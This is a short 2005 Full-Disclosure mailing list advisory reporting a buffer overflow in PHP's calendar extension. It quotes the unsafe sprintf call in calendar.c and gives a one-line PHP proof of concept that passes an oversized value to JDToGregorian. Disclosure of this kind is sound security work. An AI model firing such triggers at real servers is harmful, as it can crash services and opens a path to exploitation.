Related information

PHP calendar functions buffer overflow

From:	FistFucker <FistFuXXer_(at)_gmx.de>
Date:	27.06.2005
Subject:	[Full-disclosure] PHP: Calendar Buffer Overflow

There are some nice sprintf()'s in "\ext\calendar\calendar.c":
'sprintf(date, "%i/%i/%i", month, day, year);'

Example exploitation (4.3.11):


<?php

 JDToGregorian(999999999);

?>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/